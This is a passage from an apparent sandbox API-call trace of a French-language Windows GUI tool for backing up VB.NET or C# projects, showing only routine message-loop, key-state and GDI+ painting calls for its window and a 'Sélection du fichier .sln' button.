(hWnd=0x201d6) returned 1 [0123.573] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0123.573] TranslateMessage (lpMsg=0x32f158) returned 0 [0123.573] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0123.573] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0123.573] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0123.573] WaitMessage () returned 1 [0123.777] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0123.777] IsWindowUnicode (hWnd=0x201d8) returned 1 [0123.777] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0123.777] TranslateMessage (lpMsg=0x32f158) returned 0 [0123.777] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0123.777] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0123.777] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0123.777] WaitMessage () returned 1 [0128.473] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0128.473] IsWindowUnicode (hWnd=0x201e4) returned 1 [0128.473] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0128.473] GetKeyState (nVirtKey=16) returned 0 [0128.473] GetKeyState (nVirtKey=17) returned 0 [0128.473] GetKeyState (nVirtKey=18) returned -127 [0128.473] SendMessageW (hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0128.473] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0128.473] GetKeyState (nVirtKey=16) returned 0 [0128.473] GetKeyState (nVirtKey=17) returned 0 [0128.473] GetKeyState (nVirtKey=18) returned -127 [0128.474] TranslateMessage (lpMsg=0x32f158) returned 1 [0128.474] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0128.474] GetKeyState (nVirtKey=16) returned 0 [0128.474] GetKeyState (nVirtKey=17) returned 0 [0128.474] GetKeyState (nVirtKey=18) returned -127 [0128.474] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0128.474] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0128.474] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0128.474] WaitMessage () returned 1 [0128.483] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0128.483] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0128.483] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0128.484] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0128.504] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32edf0 | out: lpwndpl=0x32edf0) returned 1 [0128.504] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0128.505] GetClientRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0128.505] GetWindowRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0128.505] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0128.505] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8edb8) returned 0x0 [0128.505] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0128.513] NtdllDefWindowProc_W () returned 0x0 [0128.513] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0128.513] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0128.513] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0128.513] GetCapture () returned 0x0 [0128.513] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0128.514] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0128.514] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0128.514] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0128.514] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0128.514] IsWindowUnicode (hWnd=0x201e4) returned 1 [0128.514] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0128.514] TranslateMessage (lpMsg=0x32f158) returned 0 [0128.514] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0128.514] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0xd01025e [0128.514] SelectPalette (hdc=0xd01025e, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0128.514] CreateCompatibleDC (hdc=0xd01025e) returned 0x340101b6 [0128.514] SelectObject (hdc=0x340101b6, h=0x70050254) returned 0x185000f [0128.514] GdipCreateFromHDC (hdc=0x340101b6, graphics=0x32ec54) returned 0x0 [0128.514] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0128.514] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0128.514] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0128.515] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0128.515] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0128.515] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0128.515] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61ce8) returned 0x0 [0128.515] LocalFree (hMem=0x4e61ce8) returned 0x0 [0128.515] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0128.515] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0128.515] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0128.515] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0128.515] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0128.515] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd8d0dbd) returned 0x0 [0128.515] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0128.515] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0128.515] GetCurrentObject (hdc=0x340101b6, type=0x1) returned 0x1b00017 [0128.515] GetCurrentObject (hdc=0x340101b6, type=0x2) returned 0x1900010 [0128.515] GetCurrentObject (hdc=0x340101b6, type=0x7) returned 0x70050254 [0128.515] GetCurrentObject (hdc=0x340101b6, type=0x6) returned 0x18a002e [0128.515] SaveDC (hdc=0x340101b6) returned 1 [0128.515] GetNearestColor (hdc=0x340101b6, color=0xf0f0f0) returned 0xf0f0f0 [0128.515] GetNearestColor (hdc=0x340101b6, color=0xa0a0a0) returned 0xa0a0a0 [0128.515] GetNearestColor (hdc=0x340101b6, color=0x696969) returned 0x696969 [0128.516] GetNearestColor (hdc=0x340101b6, color=0xa0a0a0) returned 0xa0a0a0 [0128.516] GetNearestColor (hdc=0x340101b6, color=0x0) returned 0x0 [0128.516] GetNearestColor (hdc=0x340101b6, color=0xffffff) returned 0xffffff [0128.516] GetNearestColor (hdc=0x340101b6, color=0xe5e5e5) returned 0xe5e5e5 [0128.516] GetNearestColor (hdc=0x340101b6, color=0xd7d7d7) returned 0xd7d7d7 [0128.516] GetNearestColor (hdc=0x340101b6, color=0x0) returned 0x0 [0128.516] RestoreDC (hdc=0x340101b6, nSavedDC=-1) returned 1 [0128.516] GdipReleaseDC (graphics=0x4c358c0, hdc=0x340101b6) returned 0x0 [0128.516] IsAppThemed () returned 0x1 [0128.516] GetThemeAppProperties () returned 0x3 [0128.516] GetThemeAppProperties () returned 0x3 [0128.516] IsAppThemed () returned 0x1 [0128.516] GetThemeAppProperties () returned 0x3 [0128.516] GetThemeAppProperties () returned 0x3 [0128.516] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x26ee9f4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0128.516] IsAppThemed () returned 0x1 [0128.516] GetThemeAppProperties () returned 0x3 [0128.516] GetThemeAppProperties () returned 0x3 [0128.516] IsAppThemed () returned 0x1 [0128.516] GetThemeAppProperties () returned 0x3 [0128.516] GetThemeAppProperties () returned 0x3 [0128.516] GetFocus () returned 0x0 [0128.517] IsAppThemed () returned 0x1 [0128.517] GetThemeAppProperties () returned 0x3 [0128.517] GetThemeAppProperties () returned 0x3 [0128.517] IsAppThemed () returned 0x1 [0128.517] GetThemeAppProperties () returned 0x3 [0128.517] GetThemeAppProperties () returned 0x3 [0128.517] IsThemePartDefined () returned 0x1 [0128.517] IsAppThemed () returned 0x1 [0128.517] GetThemeAppProperties () returned 0x3 [0128.517] GetThemeAppProperties () returned 0x3 [0128.517] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0128.517] IsAppThemed () returned 0x1 [0128.517] GetThemeAppProperties () returned 0x3 [0128.517] GetThemeAppProperties () returned 0x3 [0128.517] IsAppThemed () returned 0x1 [0128.517] GetThemeAppProperties () returned 0x3 [0128.517] GetThemeAppProperties () returned 0x3 [0128.517] IsThemePartDefined () returned 0x1 [0128.517] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0128.517] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0128.517] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0128.517] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0128.517] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0128.517] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0128.517] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0128.517] LocalFree (hMem=0x4e61ce8) returned 0x0 [0128.517] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0128.517] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0128.517] LocalFree (hMem=0x4e61ce8) returned 0x0 [0128.517] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0128.517] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0128.518] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0128.518] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0128.518] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0128.518] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0128.518] GetCurrentObject (hdc=0x340101b6, type=0x1) returned 0x1b00017 [0128.518] GetCurrentObject (hdc=0x340101b6, type=0x2) returned 0x1900010 [0128.525] GetCurrentObject (hdc=0x340101b6, type=0x7) returned 0x70050254 [0128.525] GetCurrentObject (hdc=0x340101b6, type=0x6) returned 0x18a002e [0128.525] SaveDC (hdc=0x340101b6) returned 1 [0128.525] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6b040850 [0128.525] GetClipRgn (hdc=0x340101b6, hrgn=0x6b040850) returned 0 [0128.525] SelectClipRgn (hdc=0x340101b6, hrgn=0x720401e3) returned 2 [0128.525] DeleteObject (ho=0x6b040850) returned 1 [0128.525] DeleteObject (ho=0x720401e3) returned 1 [0128.525] OffsetViewportOrgEx (in: hdc=0x340101b6, x=0, y=0, lppt=0x26ef0a4 | out: lppt=0x26ef0a4) returned 1 [0128.525] DrawThemeParentBackground () returned 0x0 [0128.525] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0128.525] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0128.525] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0128.525] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0128.525] GetSystemMetrics (nIndex=42) returned 0 [0128.525] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0128.525] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0128.525] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0128.525] GetCurrentObject (hdc=0x340101b6, type=0x1) returned 0x1b00017 [0128.526] GetCurrentObject (hdc=0x340101b6, type=0x2) returned 0x1900010 [0128.526] GetCurrentObject (hdc=0x340101b6, type=0x7) returned 0x70050254 [0128.526] GetCurrentObject (hdc=0x340101b6, type=0x6) returned 0x18a002e [0128.526] SaveDC (hdc=0x340101b6) returned 2 [0128.526] GetNearestColor (hdc=0x340101b6, color=0xf0f0f0) returned 0xf0f0f0 [0128.526] CreateSolidBrush (color=0xf0f0f0) returned 0x2810084d [0128.526] FillRect (hDC=0x340101b6, lprc=0x32e4d4, hbr=0x2810084d) returned 1 [0128.526] DeleteObject (ho=0x2810084d) returned 1 [0128.526] RestoreDC (hdc=0x340101b6, nSavedDC=-1) returned 1 [0128.526] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0128.526] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0128.526] GetSystemMetrics (nIndex=42) returned 0 [0128.526] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0128.526] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0128.526] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0128.526] GetCurrentObject (hdc=0x340101b6, type=0x1) returned 0x1b00017 [0128.526] GetCurrentObject (hdc=0x340101b6, type=0x2) returned 0x1900010 [0128.526] GetCurrentObject (hdc=0x340101b6, type=0x7) returned 0x70050254 [0128.526] GetCurrentObject (hdc=0x340101b6, type=0x6) returned 0x18a002e [0128.526] SaveDC (hdc=0x340101b6) returned 2 [0128.527] GetNearestColor (hdc=0x340101b6, color=0xf0f0f0) returned 0xf0f0f0 [0128.527] CreateSolidBrush (color=0xf0f0f0) returned 0x2910084d [0128.527] FillRect (hDC=0x340101b6, lprc=0x32e474, hbr=0x2910084d) returned 1 [0128.527] DeleteObject (ho=0x2910084d) returned 1 [0128.527] RestoreDC (hdc=0x340101b6, nSavedDC=-1) returned 1 [0128.527] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0128.527] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0128.527] GetSystemMetrics (nIndex=42) returned 0 [0128.527] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0128.527] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0128.527] RestoreDC (hdc=0x340101b6, nSavedDC=-1) returned 1 [0128.527] GdipReleaseDC (graphics=0x4c358c0, hdc=0x340101b6) returned 0x0 [0128.527] IsAppThemed () returned 0x1 [0128.527] GetThemeAppProperties () returned 0x3 [0128.527] GetThemeAppProperties () returned 0x3 [0128.527] IsAppThemed () returned 0x1 [0128.527] GetThemeAppProperties () returned 0x3 [0128.527] GetThemeAppProperties () returned 0x3 [0128.527] IsThemePartDefined () returned 0x1 [0128.527] GdipCreateRegion (region=0x32e968) returned 0x0 [0128.527] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0128.527] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0128.527] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0128.527] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0128.528] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0128.528] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61ce8) returned 0x0 [0128.528] LocalFree (hMem=0x4e61ce8) returned 0x0 [0128.528] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0128.528] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61ce8) returned 0x0 [0128.528] LocalFree (hMem=0x4e61ce8) returned 0x0 [0128.528] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0128.528] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0128.528] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0128.528] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0128.528] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0128.528] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0128.528] GetCurrentObject (hdc=0x340101b6, type=0x1) returned 0x1b00017 [0128.528] GetCurrentObject (hdc=0x340101b6, type=0x2) returned 0x1900010 [0128.528] GetCurrentObject (hdc=0x340101b6, type=0x7) returned 0x70050254 [0128.528] GetCurrentObject (hdc=0x340101b6, type=0x6) returned 0x18a002e [0128.528] SaveDC (hdc=0x340101b6) returned 1 [0128.528] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x730401e3 [0128.528] GetClipRgn (hdc=0x340101b6, hrgn=0x730401e3) returned 0 [0128.528] SelectClipRgn (hdc=0x340101b6, hrgn=0x6d040850) returned 2 [0128.528] DeleteObject (ho=0x730401e3) returned 1 [0128.528] DeleteObject (ho=0x6d040850) returned 1 [0128.529] OffsetViewportOrgEx (in: hdc=0x340101b6, x=0, y=0, lppt=0x26efadc | out: lppt=0x26efadc) returned 1 [0128.529] IsAppThemed () returned 0x1 [0128.529] GetThemeAppProperties () returned 0x3 [0128.529] GetThemeAppProperties () returned 0x3 [0128.529] DrawThemeBackground () returned 0x0 [0128.529] RestoreDC (hdc=0x340101b6, nSavedDC=-1) returned 1 [0128.529] GdipReleaseDC (graphics=0x4c358c0, hdc=0x340101b6) returned 0x0 [0128.529] GdipCreateRegion (region=0x32e950) returned 0x0 [0128.529] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0128.529] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0128.529] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0128.529] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0128.529] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0128.529] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0128.529] LocalFree (hMem=0x4e61ce8) returned 0x0 [0128.529] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0128.529] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0128.529] LocalFree (hMem=0x4e61ce8) returned 0x0 [0128.529] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0128.529] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0128.529] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0128.529] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0128.529] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0128.529] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0128.530] GetCurrentObject (hdc=0x340101b6, type=0x1) returned 0x1b00017 [0128.530] GetCurrentObject (hdc=0x340101b6, type=0x2) returned 0x1900010 [0128.530] GetCurrentObject (hdc=0x340101b6, type=0x7) returned 0x70050254 [0128.530] GetCurrentObject (hdc=0x340101b6, type=0x6) returned 0x18a002e [0128.530] SaveDC (hdc=0x340101b6) returned 1 [0128.530] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6e040850 [0128.530] GetClipRgn (hdc=0x340101b6, hrgn=0x6e040850) returned 0 [0128.530] SelectClipRgn (hdc=0x340101b6, hrgn=0x740401e3) returned 2 [0128.530] DeleteObject (ho=0x6e040850) returned 1 [0128.530] DeleteObject (ho=0x740401e3) returned 1 [0128.530] OffsetViewportOrgEx (in: hdc=0x340101b6, x=0, y=0, lppt=0x26efdb0 | out: lppt=0x26efdb0) returned 1 [0128.530] IsAppThemed () returned 0x1 [0128.530] GetThemeAppProperties () returned 0x3 [0128.530] GetThemeAppProperties () returned 0x3 [0128.530] GetThemeBackgroundContentRect () returned 0x0 [0128.530] RestoreDC (hdc=0x340101b6, nSavedDC=-1) returned 1 [0128.530] GdipReleaseDC (graphics=0x4c358c0, hdc=0x340101b6) returned 0x0 [0128.530] IsAppThemed () returned 0x1 [0128.530] GetThemeAppProperties () returned 0x3 [0128.530] GetThemeAppProperties () returned 0x3 [0128.530] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0128.530] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0128.530] GetCurrentObject (hdc=0x340101b6, type=0x1) returned 0x1b00017 [0128.530] GetCurrentObject (hdc=0x340101b6, type=0x2) returned 0x1900010 [0128.531] GetCurrentObject (hdc=0x340101b6, type=0x7) returned 0x70050254 [0128.531] GetCurrentObject (hdc=0x340101b6, type=0x6) returned 0x18a002e [0128.531] SaveDC (hdc=0x340101b6) returned 1 [0128.531] GetTextAlign (hdc=0x340101b6) returned 0x0 [0128.531] GetTextColor (hdc=0x340101b6) returned 0x0 [0128.531] GetCurrentObject (hdc=0x340101b6, type=0x6) returned 0x18a002e [0128.531] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0128.531] SelectObject (hdc=0x340101b6, h=0x100a0252) returned 0x18a002e [0128.531] GetBkMode (hdc=0x340101b6) returned 2 [0128.531] SetBkMode (hdc=0x340101b6, mode=1) returned 2 [0128.531] DrawTextExW (in: hdc=0x340101b6, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x26f0144 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0128.531] DrawTextExW (in: hdc=0x340101b6, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x26f0144 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0128.532] RestoreDC (hdc=0x340101b6, nSavedDC=-1) returned 1 [0128.532] GdipReleaseDC (graphics=0x4c358c0, hdc=0x340101b6) returned 0x0 [0128.532] GetFocus () returned 0x0 [0128.532] IsAppThemed () returned 0x1 [0128.532] GetThemeAppProperties () returned 0x3 [0128.532] GetThemeAppProperties () returned 0x3 [0128.532] GdipGetDC (graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0128.532] BitBlt (hdc=0xd01025e, x=0, y=0, cx=163, cy=29, hdcSrc=0x340101b6, x1=0, y1=0, rop=0xcc0020) returned 1 [0128.532] GdipReleaseDC (graphics=0x4c358c0, hdc=0x340101b6) returned 0x0 [0128.532] SelectPalette (hdc=0xd01025e, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0128.532] SelectObject (hdc=0x340101b6, h=0x185000f) returned 0x70050254 [0128.532] DeleteDC (hdc=0x340101b6) returned 1 [0128.532] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0128.532] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0128.532] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0128.532] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0128.532] WaitMessage () returned 1 [0128.614] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0128.614] IsWindowUnicode (hWnd=0x201d6) returned 1 [0128.614] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0128.614] TranslateMessage (lpMsg=0x32f158) returned 0 [0128.614] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0128.615] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0128.615] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0128.615] WaitMessage () returned 1 [0128.815] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0128.815] IsWindowUnicode (hWnd=0x201d8) returned 1 [0128.815] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0128.815] TranslateMessage (lpMsg=0x32f158) returned 0 [0128.815] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0128.815] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0128.815] PeekMessageW (in: 